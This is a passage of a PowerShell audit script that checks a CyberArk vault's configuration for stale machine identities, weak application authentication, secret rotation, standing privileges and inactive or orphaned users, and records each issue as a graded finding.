Add-Finding -Category "Machine Identity" ` -CISControl "MID5" ` -Finding "AppIDs with insufficient authentication methods" ` -Resource "Application Authentication" ` -CurrentValue "$($weakAppIDs.Count) AppIDs with < $($script:Config.MinAppIDAuthMethods) auth methods" ` -ExpectedValue "Multiple authentication methods per AppID" ` -Recommendation "Add additional authentication methods (hash, path, OS user)" ` -Severity "High" } if ($noAllowedMachines.Count -gt 0) { Add-Finding -Category "Machine Identity" ` -CISControl "MID5" ` -Finding "AppIDs without allowed machines restriction" ` -Resource "Application Security" ` -CurrentValue "$($noAllowedMachines.Count) AppIDs without machine restrictions" ` -ExpectedValue "All AppIDs restricted to specific machines" ` -Recommendation "Configure allowed machines for all AppIDs" ` -Severity "High" } } function Test-StaleMachineIdentities { Write-AuditLog "Detecting stale machine identities (MID6)..." -Level Info $users = Invoke-CyberArkAPI -Endpoint "/Users?limit=$($script:Config.PageLimit)" if (-not $users) { Add-SkippedCheck -Category "Machine Identity" -CISControl "MID6" ` -CheckName "Stale Machine Identities" ` -Reason "Could not retrieve users from API" ` -Type "Error" return } $threshold = (Get-Date).AddDays(-$script:Config.MaxStaleIdentityDays) $serviceAccountPatterns = @("svc_", "service", "app_", "batch", "system", "_sa") $staleMachineIdentities = @() foreach ($user in $users.Users) { $userName = $user.userName.ToLower() $isServiceAccount = $false foreach ($pattern in $serviceAccountPatterns) { if ($userName -match $pattern) { $isServiceAccount = $true break } } if ($isServiceAccount -or $user.userType -eq "ServiceUser") { if ($user.lastSuccessfulLoginDate) { $lastLogin = [DateTime]::Parse($user.lastSuccessfulLoginDate) if ($lastLogin -lt $threshold) { $staleMachineIdentities += @{ UserName = $user.userName LastLogin = $lastLogin DaysInactive = ((Get-Date) - $lastLogin).Days } } } elseif (-not $user.lastSuccessfulLoginDate) { # Never logged in $staleMachineIdentities += @{ UserName = $user.userName LastLogin = $null DaysInactive = "Never" } } } } if ($staleMachineIdentities.Count -gt 0) { Add-Finding -Category "Machine Identity" ` -CISControl "MID6" ` -Finding "Stale machine identities detected" ` -Resource "Machine Identity Lifecycle" ` -CurrentValue "$($staleMachineIdentities.Count) stale identities (inactive > $($script:Config.MaxStaleIdentityDays) days)" ` -ExpectedValue "All machine identities active or removed" ` -Recommendation "Review and remove/disable stale machine identities" ` -Severity "Medium" } } #====================================================================== # SECRETS MANAGEMENT CHECKS (SEC1-SEC8) #====================================================================== function Test-SecretsManagement { Write-AuditLog "Auditing Secrets Management Security..." -Level Info Test-CredentialProviderDeployment Test-AppIDAuthenticationStrength Test-AllowedMachinesConfiguration Test-CacheTTLSettings Test-CCPTLSConfiguration Test-SecretRotationPolicy Test-OrphanSecretsDetection Test-CredentialSprawlAnalysis } function Test-CredentialProviderDeployment { Write-AuditLog "Checking Credential Provider deployment (SEC1)..." -Level Info # Check for CCP/AIM components $components = Invoke-CyberArkAPI -Endpoint "/ComponentsMonitoringDetails/all" if ($components) { $ccpComponents = $components.Components | Where-Object { $_.ComponentType -match "CCP|AIM|CP|CredentialProvider" } if ($ccpComponents) { foreach ($ccp in $ccpComponents) { if (-not $ccp.IsLoggedOn) { Add-Finding -Category "Secrets Management" ` -CISControl "SEC1" ` -Finding "Credential Provider not connected" ` -Resource $ccp.ComponentName ` -CurrentValue "Disconnected" ` -ExpectedValue "Connected and operational" ` -Recommendation "Investigate Credential Provider connectivity" ` -Severity "Critical" } } } else { Add-Finding -Category "Secrets Management" ` -CISControl "SEC1" ` -Finding "No Credential Provider components detected" ` -Resource "CCP/AIM Deployment" ` -CurrentValue "No CCP/AIM found in monitoring" ` -ExpectedValue "Credential Provider deployed for application access" ` -Recommendation "Deploy CyberArk Credential Provider for secure application access" ` -Severity "Medium" } } # Check CCP endpoint accessibility $ccpEndpoints = @( "/AIMWebService/api/Accounts", "/AIMWebService/v1.1/aim/accounts" ) foreach ($endpoint in $ccpEndpoints) { try { [void](Invoke-WebRequest -Uri "$PVWA$endpoint" -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue) Add-Finding -Category "Secrets Management" ` -CISControl "SEC1" ` -Finding "CCP endpoint detected" ` -Resource $endpoint ` -CurrentValue "Endpoint accessible" ` -ExpectedValue "CCP properly secured" ` -Recommendation "Ensure CCP endpoint requires proper authentication" ` -Severity "Info" ` -Status "Pass" break } catch { } } } function Test-AppIDAuthenticationStrength { Write-AuditLog "Assessing AppID authentication strength (SEC2)..." -Level Info $applications = Invoke-CyberArkAPI -Endpoint "/Applications" if (-not $applications -or -not $applications.Application) { Add-SkippedCheck -Category "Secrets Management" -CISControl "SEC2" ` -CheckName "AppID Authentication" ` -Reason "No applications found or AAM not deployed" ` -Type "NotApplicable" return } $weakAuth = @() $strongAuth = 0 foreach ($app in $applications.Application) { $appId = $app.AppID $appAuth = Invoke-CyberArkAPI -Endpoint "/Applications/$appId/Authentications" if ($appAuth -and $appAuth.authentication) { $authTypes = $appAuth.authentication | Select-Object -ExpandProperty AuthType -Unique # Check for strong authentication methods $hasHash = $authTypes -contains "hash" $hasCert = $authTypes -contains "certificate" -or $authTypes -contains "certificateSerialNumber" $hasOsUser = $authTypes -contains "osUser" $hasMachine = $authTypes -contains "machineAddress" if (($hasHash -or $hasCert) -and ($hasOsUser -or $hasMachine)) { $strongAuth++ } else { $weakAuth += @{ AppID = $appId AuthTypes = $authTypes -join ", " } } } } if ($weakAuth.Count -gt 0) { Add-Finding -Category "Secrets Management" ` -CISControl "SEC2" ` -Finding "AppIDs with weak authentication configuration" ` -Resource "Application Authentication" ` -CurrentValue "$($weakAuth.Count) AppIDs lacking strong multi-factor auth" ` -ExpectedValue "Hash/cert + machine/osUser authentication" ` -Recommendation "Add hash verification, certificate auth, and restrict by machine/OS user" ` -Severity "High" } } function Test-AllowedMachinesConfiguration { Write-AuditLog "Validating allowed machines configuration (SEC3)..." -Level Info $applications = Invoke-CyberArkAPI -Endpoint "/Applications" if (-not $applications -or -not $applications.Application) { Add-SkippedCheck -Category "Secrets Management" -CISControl "SEC3" ` -CheckName "Allowed Machines" ` -Reason "No applications found" ` -Type "NotApplicable" return } $noMachineRestriction = @() $wildcardMachine = @() foreach ($app in $applications.Application) { $appId = $app.AppID $appAuth = Invoke-CyberArkAPI -Endpoint "/Applications/$appId/Authentications" if ($appAuth -and $appAuth.authentication) { $machineAuth = $appAuth.authentication | Where-Object { $_.AuthType -eq "machineAddress" } if (-not $machineAuth) { $noMachineRestriction += $appId } else { # Check for overly permissive wildcards foreach ($auth in $machineAuth) { if ($auth.AuthValue -match "^\*$|0\.0\.0\.0|any|\*\.\*\.\*\.\*") { $wildcardMachine += $appId } } } } } if ($noMachineRestriction.Count -gt 0) { Add-Finding -Category "Secrets Management" ` -CISControl "SEC3" ` -Finding "AppIDs without machine address restrictions" ` -Resource "Allowed Machines" ` -CurrentValue "$($noMachineRestriction.Count) unrestricted AppIDs" ` -ExpectedValue "All AppIDs restricted to specific machines" ` -Recommendation "Configure allowed machine addresses for all AppIDs" ` -Severity "High" } if ($wildcardMachine.Count -gt 0) { Add-Finding -Category "Secrets Management" ` -CISControl "SEC3" ` -Finding "AppIDs with overly permissive machine wildcards" ` -Resource "Allowed Machines" ` -CurrentValue "$($wildcardMachine.Count) AppIDs with wildcard machines" ` -ExpectedValue "Specific machine addresses only" ` -Recommendation "Replace wildcards with specific IP addresses or hostnames" ` -Severity "Medium" } } function Test-CacheTTLSettings { Write-AuditLog "Checking cache TTL settings (SEC4)..." -Level Info # This would require access to CP configuration files or registry # For now, provide guidance check Add-Finding -Category "Secrets Management" ` -CISControl "SEC4" ` -Finding "Cache TTL configuration (manual verification required)" ` -Resource "Credential Provider Cache" ` -CurrentValue "Manual check required" ` -ExpectedValue "TTL < 7 days for standard, < 1 day for sensitive" ` -Recommendation "Verify CP cache TTL in basic_appprovider.conf (CacheRefreshInterval, CachePath)" ` -Severity "Info" ` -Status "Pass" } function Test-CCPTLSConfiguration { Write-AuditLog "Checking CCP TLS/mTLS configuration (SEC5)..." -Level Info $ccpEndpoints = @( "/AIMWebService/api/Accounts", "/AIMWebService/v1.1/aim/accounts" ) foreach ($endpoint in $ccpEndpoints) { try { # Check TLS configuration $uri = "$PVWA$endpoint" $request = [System.Net.HttpWebRequest]::Create($uri) $request.Timeout = 10000 try { $response = $request.GetResponse() $cert = $request.ServicePoint.Certificate if ($cert) { # Check certificate details $certExpiry = [DateTime]::Parse($cert.GetExpirationDateString()) $daysToExpiry = ($certExpiry - (Get-Date)).Days if ($daysToExpiry -lt $script:Config.CertificateExpiryWarningDays) { Add-Finding -Category "Secrets Management" ` -CISControl "SEC5" ` -Finding "CCP certificate expiring soon" ` -Resource $endpoint ` -CurrentValue "Expires in $daysToExpiry days" ` -ExpectedValue "Certificate valid > $($script:Config.CertificateExpiryWarningDays) days" ` -Recommendation "Renew CCP TLS certificate" ` -Severity "High" } } $response.Close() } catch { } } catch { } } # Check if mTLS is enforced (client certificate required) Add-Finding -Category "Secrets Management" ` -CISControl "SEC5" ` -Finding "CCP mTLS configuration (manual verification)" ` -Resource "CCP TLS Settings" ` -CurrentValue "Manual verification required" ` -ExpectedValue "mTLS enabled for sensitive applications" ` -Recommendation "Configure mutual TLS for CCP access where possible" ` -Severity "Info" ` -Status "Pass" } function Test-SecretRotationPolicy { Write-AuditLog "Checking secret rotation policy enforcement (SEC6)..." -Level Info $accounts = Invoke-CyberArkAPI -Endpoint "/Accounts?limit=$($script:Config.PageLimit)" if (-not $accounts) { Add-SkippedCheck -Category "Secrets Management" -CISControl "SEC6" ` -CheckName "Secret Rotation Policy" ` -Reason "Could not retrieve accounts" ` -Type "Error" return } $noRotation = 0 $staleSecrets = 0 $threshold = (Get-Date).AddDays(-$script:Config.MaxSecretAgeDays) foreach ($account in $accounts.value) { if ($account.secretManagement.automaticManagementEnabled -eq $false) { $noRotation++ } if ($account.secretManagement.lastModifiedTime) { $lastMod = [DateTime]::Parse($account.secretManagement.lastModifiedTime) if ($lastMod -lt $threshold) { $staleSecrets++ } } } if ($noRotation -gt 0) { Add-Finding -Category "Secrets Management" ` -CISControl "SEC6" ` -Finding "Accounts without automatic rotation" ` -Resource "Secret Rotation" ` -CurrentValue "$noRotation accounts without auto-rotation" ` -ExpectedValue "All accounts with automatic rotation enabled" ` -Recommendation "Enable automatic password management for all accounts" ` -Severity "Medium" } if ($staleSecrets -gt 0) { Add-Finding -Category "Secrets Management" ` -CISControl "SEC6" ` -Finding "Secrets exceeding age threshold" ` -Resource "Secret Age" ` -CurrentValue "$staleSecrets secrets older than $($script:Config.MaxSecretAgeDays) days" ` -ExpectedValue "All secrets rotated within policy period" ` -Recommendation "Rotate stale secrets and investigate rotation failures" ` -Severity "Medium" } } function Test-OrphanSecretsDetection { Write-AuditLog "Detecting orphan/unmanaged secrets (SEC7)..." -Level Info $accounts = Invoke-CyberArkAPI -Endpoint "/Accounts?limit=$($script:Config.PageLimit)" if (-not $accounts) { Add-SkippedCheck -Category "Secrets Management" -CISControl "SEC7" ` -CheckName "Orphan Secrets" ` -Reason "Could not retrieve accounts" ` -Type "Error" return } $orphanSecrets = @() foreach ($account in $accounts.value) { # Check for unmanaged accounts if ($account.secretManagement.status -match "unmanaged|failed|error") { $orphanSecrets += @{ Name = $account.name Safe = $account.safeName Status = $account.secretManagement.status } } # Check for accounts without platform if (-not $account.platformId) { $orphanSecrets += @{ Name = $account.name Safe = $account.safeName Status = "No platform assigned" } } } if ($orphanSecrets.Count -gt 0) { Add-Finding -Category "Secrets Management" ` -CISControl "SEC7" ` -Finding "Orphan or unmanaged secrets detected" ` -Resource "Secret Lifecycle" ` -CurrentValue "$($orphanSecrets.Count) orphan/unmanaged secrets" ` -ExpectedValue "All secrets properly managed" ` -Recommendation "Review and remediate orphan secrets; assign platforms and enable management" ` -Severity "Medium" } } function Test-CredentialSprawlAnalysis { Write-AuditLog "Analyzing credential sprawl (SEC8)..." -Level Info # Note: Applications data available via /Applications endpoint for cross-reference if needed $accounts = Invoke-CyberArkAPI -Endpoint "/Accounts?limit=$($script:Config.PageLimit)" if (-not $accounts) { Add-SkippedCheck -Category "Secrets Management" -CISControl "SEC8" ` -CheckName "Credential Sprawl" ` -Reason "Could not retrieve accounts" ` -Type "Error" return } # Analyze credential distribution $safeCredentialCount = @{} foreach ($account in $accounts.value) { $safe = $account.safeName if (-not $safeCredentialCount.ContainsKey($safe)) { $safeCredentialCount[$safe] = 0 } $safeCredentialCount[$safe]++ } # Check for safes with excessive credentials (potential sprawl) $highDensitySafes = $safeCredentialCount.GetEnumerator() | Where-Object { $_.Value -gt 100 } if ($highDensitySafes.Count -gt 0) { Add-Finding -Category "Secrets Management" ` -CISControl "SEC8" ` -Finding "High credential density safes detected" ` -Resource "Credential Distribution" ` -CurrentValue "$($highDensitySafes.Count) safes with >100 credentials" ` -ExpectedValue "Balanced credential distribution" ` -Recommendation "Review safe organization; consider splitting large safes" ` -Severity "Low" } # Check for duplicate credential patterns $credentialPatterns = @{} foreach ($account in $accounts.value) { $pattern = "$($account.userName)@$($account.address)" if (-not $credentialPatterns.ContainsKey($pattern)) { $credentialPatterns[$pattern] = @() } $credentialPatterns[$pattern] += $account.safeName } $duplicates = $credentialPatterns.GetEnumerator() | Where-Object { $_.Value.Count -gt 1 } if ($duplicates.Count -gt 0) { Add-Finding -Category "Secrets Management" ` -CISControl "SEC8" ` -Finding "Potential duplicate credentials across safes" ` -Resource "Credential Sprawl" ` -CurrentValue "$($duplicates.Count) credentials in multiple safes" ` -ExpectedValue "Single source of truth per credential" ` -Recommendation "Consolidate duplicate credentials and use access controls instead" ` -Severity "Low" } } #====================================================================== # ZERO STANDING PRIVILEGES CHECKS (ZSP1-ZSP5) #====================================================================== function Test-ZeroStandingPrivileges { Write-AuditLog "Auditing Zero Standing Privileges (JIT Access)..." -Level Info Test-PermanentPrivilegedAccess Test-DualControlWorkflows Test-ConcurrentSessionLimits Test-CheckInCheckOutEnforcement Test-StandingPrivilegeRecommendations } function Test-PermanentPrivilegedAccess { Write-AuditLog "Checking for permanent privileged access (ZSP1)..." -Level Info $safes = Invoke-CyberArkAPI -Endpoint "/Safes?limit=$($script:Config.PageLimit)" if (-not $safes) { Add-SkippedCheck -Category "Zero Standing Privileges" -CISControl "ZSP1" ` -CheckName "Permanent Privileged Access" ` -Reason "Could not retrieve safes" ` -Type "Error" return } $permanentAccessCount = 0 $sensitivePatterns = @("admin", "root", "domain", "prod", "tier0", "tier1", "privileged") foreach ($safe in $safes.value) { $safeName = $safe.safeName # Check if this is a sensitive safe $isSensitive = $false foreach ($pattern in $sensitivePatterns) { if ($safeName -match $pattern) { $isSensitive = $true break } } if (-not $isSensitive) { continue } $members = Invoke-CyberArkAPI -Endpoint "/Safes/$safeName/Members" if ($members -and $members.value) { foreach ($member in $members.value) { # Check for permanent access (no expiration, no workflow) if ($null -eq $member.membershipExpirationDate -and $member.permissions.UseAccounts -eq $true -and $member.memberType -eq "User") { $permanentAccessCount++ } } } } if ($permanentAccessCount -gt 0) { Add-Finding -Category "Zero Standing Privileges" ` -CISControl "ZSP1" ` -Finding "Permanent privileged access detected in sensitive safes" ` -Resource "Standing Privileges" ` -CurrentValue "$permanentAccessCount users with permanent access" ` -ExpectedValue "Just-in-time access for sensitive safes" ` -Recommendation "Implement JIT access with time-limited permissions" ` -Severity "High" } } function Test-DualControlWorkflows { Write-AuditLog "Checking dual control workflows (ZSP2)..." -Level Info $safes = Invoke-CyberArkAPI -Endpoint "/Safes?limit=$($script:Config.PageLimit)" if (-not $safes) { Add-SkippedCheck -Category "Zero Standing Privileges" -CISControl "ZSP2" ` -CheckName "Dual Control Workflows" ` -Reason "Could not retrieve safes" ` -Type "Error" return } $sensitivePatterns = @("admin", "root", "domain", "prod", "tier0", "privileged") $noDualControl = @() foreach ($safe in $safes.value) { $safeName = $safe.safeName # Check if this is a sensitive safe $isSensitive = $false foreach ($pattern in $sensitivePatterns) { if ($safeName -match $pattern) { $isSensitive = $true break } } if ($isSensitive) { # Check safe properties for dual control $safeDetails = Invoke-CyberArkAPI -Endpoint "/Safes/$safeName" if ($safeDetails) { if ($null -eq $safeDetails.numberOfDaysRetention -or $safeDetails.requiresApproval -eq $false) { $noDualControl += $safeName } } } } if ($noDualControl.Count -gt 0) { Add-Finding -Category "Zero Standing Privileges" ` -CISControl "ZSP2" ` -Finding "Sensitive safes without dual control" ` -Resource "Approval Workflows" ` -CurrentValue "$($noDualControl.Count) safes without approval requirements" ` -ExpectedValue "Dual control for all sensitive safes" ` -Recommendation "Enable dual control and approval workflows for sensitive safes" ` -Severity "High" } } function Test-ConcurrentSessionLimits { Write-AuditLog "Checking concurrent session limits (ZSP3)..." -Level Info # Check Master Policy for concurrent session settings $masterPolicy = Invoke-CyberArkAPI -Endpoint "/Platforms/MasterPolicy" if (-not $masterPolicy) { $masterPolicy = Invoke-CyberArkAPI -Endpoint "/Configuration/MasterPolicy" } if ($masterPolicy -and $masterPolicy.Details) { if ($null -eq $masterPolicy.Details.MaxConcurrentConnections -or $masterPolicy.Details.MaxConcurrentConnections -gt 5) { Add-Finding -Category "Zero Standing Privileges" ` -CISControl "ZSP3" ` -Finding "Excessive concurrent session limit" ` -Resource "Master Policy" ` -CurrentValue "Max concurrent: $($masterPolicy.Details.MaxConcurrentConnections)" ` -ExpectedValue "Limited concurrent sessions (1-5)" ` -Recommendation "Limit concurrent sessions to prevent credential sharing" ` -Severity "Medium" } } # Check system configuration $systemConfig = Invoke-CyberArkAPI -Endpoint "/Configuration/System" if ($systemConfig) { if ($systemConfig.SessionTimeout -gt $script:Config.SessionTimeoutMinutes) { Add-Finding -Category "Zero Standing Privileges" ` -CISControl "ZSP3" ` -Finding "Session timeout exceeds recommended value" ` -Resource "Session Configuration" ` -CurrentValue "Timeout: $($systemConfig.SessionTimeout) minutes" ` -ExpectedValue "Timeout <= $($script:Config.SessionTimeoutMinutes) minutes" ` -Recommendation "Reduce session timeout to limit privilege duration" ` -Severity "Medium" } } } function Test-CheckInCheckOutEnforcement { Write-AuditLog "Checking check-in/check-out enforcement (ZSP4)..." -Level Info $masterPolicy = Invoke-CyberArkAPI -Endpoint "/Platforms/MasterPolicy" if (-not $masterPolicy) { $masterPolicy = Invoke-CyberArkAPI -Endpoint "/Configuration/MasterPolicy" } if ($masterPolicy -and $masterPolicy.Details) { if ($masterPolicy.Details.EnforceCheckinCheckoutExclusiveAccess -eq $false) { Add-Finding -Category "Zero Standing Privileges" ` -CISControl "ZSP4" ` -Finding "Check-in/check-out not enforced" ` -Resource "Master Policy" ` -CurrentValue "Exclusive access disabled" ` -ExpectedValue "Exclusive access enabled" ` -Recommendation "Enable exclusive access to track credential usage" ` -Severity "High" } } # Check platforms for check-in/check-out settings $platforms = Invoke-CyberArkAPI -Endpoint "/Platforms" if ($platforms -and $platforms.Platforms) { $noCheckout = 0 foreach ($platform in $platforms.Platforms) { if ($platform.privilegedAccessWorkflows.requireCheckin -eq $false -and $platform.general.platformType -match "Windows|Unix|Database") { $noCheckout++ } } if ($noCheckout -gt 0) { Add-Finding -Category "Zero Standing Privileges" ` -CISControl "ZSP4" ` -Finding "Platforms without check-in/check-out" ` -Resource "Platform Configuration" ` -CurrentValue "$noCheckout platforms without check-in requirement" ` -ExpectedValue "Check-in/check-out for all privileged platforms" ` -Recommendation "Enable check-in/check-out on privileged platforms" ` -Severity "Medium" } } } function Test-StandingPrivilegeRecommendations { Write-AuditLog "Generating standing privilege reduction recommendations (ZSP5)..." -Level Info # Analyze overall JIT readiness $jitReadinessScore = 100 $recommendations = @() # Check for exclusive access $masterPolicy = Invoke-CyberArkAPI -Endpoint "/Platforms/MasterPolicy" if ($masterPolicy -and $masterPolicy.Details.EnforceCheckinCheckoutExclusiveAccess -eq $false) { $jitReadinessScore -= 20 $recommendations += "Enable exclusive access enforcement" } # Check for dual control if ($masterPolicy -and $masterPolicy.Details.RequireDualControlPasswordAccessApproval -eq $false) { $jitReadinessScore -= 20 $recommendations += "Implement dual control for password access" } # Check for one-time passwords if ($masterPolicy -and $masterPolicy.Details.EnforceOnetimePasswordAccess -eq $false) { $jitReadinessScore -= 15 $recommendations += "Consider one-time password access for high-risk accounts" } # Check for session limits if ($masterPolicy -and $masterPolicy.Details.MaxConcurrentConnections -gt 3) { $jitReadinessScore -= 10 $recommendations += "Reduce concurrent session limits" } $severity = if ($jitReadinessScore -ge 80) { "Low" } elseif ($jitReadinessScore -ge 60) { "Medium" } else { "High" } Add-Finding -Category "Zero Standing Privileges" ` -CISControl "ZSP5" ` -Finding "JIT/ZSP Readiness Assessment" ` -Resource "Standing Privilege Analysis" ` -CurrentValue "JIT Readiness Score: $jitReadinessScore%" ` -ExpectedValue "Score >= 80% for ZSP maturity" ` -Recommendation ($recommendations -join "; ") ` -Severity $severity } #====================================================================== # IDENTITY GOVERNANCE CHECKS (IGA1-IGA8) #====================================================================== function Test-IdentityGovernance { Write-AuditLog "Auditing Identity Governance..." -Level Info Test-OrphanedIdentities Test-PermissionDrift Test-InactiveUserAccounts Test-ExcessiveSafeMemberships Test-AccessCertificationStatus Test-RoleMembershipSprawl Test-PendingAccountQueueAge Test-AccountOwnershipGaps } function Test-OrphanedIdentities { Write-AuditLog "Detecting orphaned identities (IGA1)..." -Level Info $users = Invoke-CyberArkAPI -Endpoint "/Users?limit=$($script:Config.PageLimit)" if (-not $users) { Add-SkippedCheck -Category "Identity Governance" -CISControl "IGA1" ` -CheckName "Orphaned Identities" ` -Reason "Could not retrieve users" ` -Type "Error" return } $orphanedUsers = @() # Note: 1-year threshold available for extended stale identity analysis if needed foreach ($user in $users.Users) { # Check for never-logged-in users created more than 30 days ago if (-not $user.lastSuccessfulLoginDate -and $user.createDate) { $createDate = [DateTime]::Parse($user.createDate) if ($createDate -lt (Get-Date).AddDays(-30)) { $orphanedUsers += @{ UserName = $user.userName Reason = "Never logged in (created $((Get-Date).Subtract($createDate).Days) days ago)" } } } # Check for disabled users with safe access if ($user.disabled -eq $true) { $userGroups = Invoke-CyberArkAPI -Endpoint "/Users/$($user.id)/Groups" if ($userGroups -and $userGroups.value.Count -gt 0) { $orphanedUsers += @{ UserName = $user.userName Reason = "Disabled but still has group memberships" } } } } if ($orphanedUsers.Count -gt 0) { Add-Finding -Category "Identity Governance" ` -CISControl "IGA1" ` -Finding "Orphaned identities detected" ` -Resource "User Lifecycle" ` -CurrentValue "$($orphanedUsers.Count) orphaned identities" ` -ExpectedValue "No orphaned identities" ` -Recommendation "Review and remove orphaned user accounts" ` -Severity "Medium" } } function Test-PermissionDrift { Write-AuditLog "Detecting permission drift (IGA2)..." -Level Info $users = Invoke-CyberArkAPI -Endpoint "/Users?limit=$($script:Config.PageLimit)" $safes = Invoke-CyberArkAPI -Endpoint "/Safes?limit=$($script:Config.PageLimit)" if (-not $users -or -not $safes) { Add-SkippedCheck -Category "Identity Governance" -CISControl "IGA2" ` -CheckName "Permission Drift" ` -Reason "Could not retrieve users or safes" ` -Type "Error" return } # Build user-safe access map $userSafeAccess = @{} # Note: Detailed unused permissions tracking available for extended drift analysis foreach ($safe in $safes.value) { $safeName = $safe.safeName if ($safeName -match "^(System|VaultInternal)") { continue } $members = Invoke-CyberArkAPI -Endpoint "/Safes/$safeName/Members" if ($members -and $members.value) { foreach ($member in $members.value) { if ($member.memberType -eq "User") { $memberName = $member.memberName if (-not $userSafeAccess.ContainsKey($memberName)) { $userSafeAccess[$memberName] = @{ Safes = @() HighPermissions = 0 } } $userSafeAccess[$memberName].Safes += $safeName # Count high-level permissions if ($member.permissions.ManageSafe -or $member.permissions.ManageSafeMembers -or $member.permissions.BackupSafe) { $userSafeAccess[$memberName].HighPermissions++ } } } } } # Find users with potentially excessive permissions $excessivePermUsers = $userSafeAccess.GetEnumerator() | Where-Object { $_.Value.Safes.Count -gt $script:Config.MaxUserSafeMemberships -or $_.Value.HighPermissions -gt 5 } if ($excessivePermUsers.Count -gt 0) { Add-Finding -Category "Identity Governance" ` -CISControl "IGA2" ` -Finding "Users with potential permission drift" ` -Resource "Permission Analysis" ` -CurrentValue "$($excessivePermUsers.Count) users with excessive permissions" ` -ExpectedValue "Permissions aligned with current role" ` -Recommendation "Review user permissions and remove unnecessary access" ` -Severity "Medium" } } function Test-InactiveUserAccounts { Write-AuditLog "Detecting inactive user accounts (IGA3)..." -Level Info $users = Invoke-CyberArkAPI -Endpoint "/Users?limit=$($script:Config.PageLimit)" if (-not $users) { Add-SkippedCheck -Category "Identity Governance" -CISControl "IGA3" ` -CheckName "Inactive Users" ` -Reason "Could not retrieve users" ` -Type "Error" return } $threshold = (Get-Date).AddDays(-$script:Config.MaxInactiveUserDays) $inactiveUsers = @() foreach ($user in $users.Users) { if ($user.lastSuccessfulLoginDate) { $lastLogin = [DateTime]::Parse($user.lastSuccessfulLoginDate) if ($lastLogin -lt $threshold -and $user.disabled -ne $true) { $inactiveUsers += @{ UserName = $user.userName LastLogin = $lastLogin DaysInactive = ((Get-Date) - $lastLogin).Days } } } } if ($inactiveUsers.Count -gt 0) { $oldest = ($inactiveUsers | Sort-Object DaysInactive -Descending | Select-Object -First 1) Add-Finding -Category "Identity Governance" ` -CISControl "IGA3" ` -Finding "Inactive user accounts detected" ` -Resource "User Activity" ` -CurrentValue "$($inactiveUsers.Count) users inactive > $($script:Config.MaxInactiveUserDays) days (max: $($oldest.DaysInactive) days)" ` -ExpectedValue "All active users or accounts disabled" ` -Recommendation "Disable or remove inactive user accounts" ` -Severity "Medium" } } function Test-ExcessiveSafeMemberships { Write-AuditLog "Checking for excessive safe memberships (IGA4)..." -Level Info $safes = Invoke-CyberArkAPI -Endpoint "/Safes?limit=$($script:Config.PageLimit)" if (-not $safes) { Add-SkippedCheck -Category "Identity Governance" -CISControl "IGA4" ` -CheckName "Safe Memberships" ` -Reason "Could not retrieve safes" ` -Type "Error" return } $userSafeCount = @{} foreach ($safe in $safes.value) { $safeName = $safe.safeName if ($safeName -match "^(System|VaultInternal)") { continue } $members = Invoke-CyberArkAPI -Endpoint "/Safes/$safeName/Members" if ($members -and $members.value) { foreach ($member in $members.value) { if ($member.memberType -eq "User") { $memberName = $member.memberName if (-not $userSafeCount.ContainsKey($memberName)) { $userSafeCount[$memberName] = 0 } $userSafeCount[$memberName]++ } } } } $excessiveMemberships = $userSafeCount.GetEnumerator() | Where-Object { $_.Value -gt $script:Config.MaxUserSafeMemberships } if ($excessiveMemberships.Count -gt 0) { $maxUser = $excessiveMemberships | Sort-Object Value -Descending | Select-Object -First 1 Add-Finding -Category "Identity Governance" ` -CISControl "IGA4" ` -Finding "Users with excessive safe memberships" ` -Resource "Access Distribution" ` -CurrentValue "$($excessiveMemberships.Count) users exceed threshold (max: $($maxUser.Value) safes)" ` -ExpectedValue "Users have <= $($script:Config.MaxUserSafeMemberships) safe memberships" ` -Recommendation "Review and consolidate user safe access using groups" ` -Severity "Medium" } } function Test-AccessCertificationStatus { Write-AuditLog "Checking access certification status (IGA5)..." -Level Info # Check for recent access reviews Add-Finding -Category "Identity Governance" ` -CISControl "IGA5" ` -Finding "Access certification (manual verification)" ` -Resource "Access Reviews" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Regular access certifications performed" ` -Recommendation "Implement quarterly access reviews for all safes" ` -Severity "Info" ` -Status "Pass" } function Test-RoleMembershipSprawl { Write-AuditLog "Detecting role/group membership sprawl (IGA6)..." -Level Info $groups = Invoke-CyberArkAPI -Endpoint "/Groups?limit=$($script:Config.PageLimit)" if (-not $groups) { Add-SkippedCheck -Category "Identity Governance" -CISControl "IGA6" ` -CheckName "Role Sprawl" ` -Reason "Could not retrieve groups" ` -Type "Error" return } $emptyGroups = @() $oversizedGroups = @() foreach ($group in $groups.value) { $groupId = $group.id $groupName = $group.groupName $members = Invoke-CyberArkAPI -Endpoint "/Groups/$groupId/Members" if ($members) { $memberCount = $members.value.Count if ($memberCount -eq 0) { $emptyGroups += $groupName } elseif ($memberCount -gt 50) { $oversizedGroups += @{ Name = $groupName Count = $memberCount } } } } if ($emptyGroups.Count -gt 0) { Add-Finding -Category "Identity Governance" ` -CISControl "IGA6" ` -Finding "Empty groups detected" ` -Resource "Group Management" ` -CurrentValue "$($emptyGroups.Count) empty groups" ` -ExpectedValue "No empty groups" ` -Recommendation "Remove or repurpose empty groups" ` -Severity "Low" } if ($oversizedGroups.Count -gt 0) { Add-Finding -Category "Identity Governance" ` -CISControl "IGA6" ` -Finding "Oversized groups detected" ` -Resource "Group Management" ` -CurrentValue "$($oversizedGroups.Count) groups with >50 members" ` -ExpectedValue "Groups sized for specific roles" ` -Recommendation "Review large groups and consider role-based segmentation" ` -Severity "Low" } } function Test-PendingAccountQueueAge { Write-AuditLog "Checking pending account queue age (IGA7)..." -Level Info $pendingAccounts = Invoke-CyberArkAPI -Endpoint "/DiscoveredAccounts?limit=$($script:Config.PageLimit)" if (-not $pendingAccounts) { Add-SkippedCheck -Category "Identity Governance" -CISControl "IGA7" ` -CheckName "Pending Account Queue" ` -Reason "Could not retrieve discovered accounts" ` -Type "Error" return } $threshold = (Get-Date).AddDays(-$script:Config.MaxPendingAccountAgeDays) $stalePending = @() foreach ($account in $pendingAccounts.value) { if ($account.lastDiscoveryDate) { $discovered = [DateTime]::Parse($account.lastDiscoveryDate) if ($discovered -lt $threshold) { $stalePending += @{ Account = $account.userName DaysPending = ((Get-Date) - $discovered).Days } } } } $script:AuditStats.PendingAccounts = $pendingAccounts.value.Count if ($stalePending.Count -gt 0) { Add-Finding -Category "Identity Governance" ` -CISControl "IGA7" ` -Finding "Stale pending accounts in discovery queue" ` -Resource "Account Discovery" ` -CurrentValue "$($stalePending.Count) accounts pending > $($script:Config.MaxPendingAccountAgeDays) days" ` -ExpectedValue "Pending accounts processed within 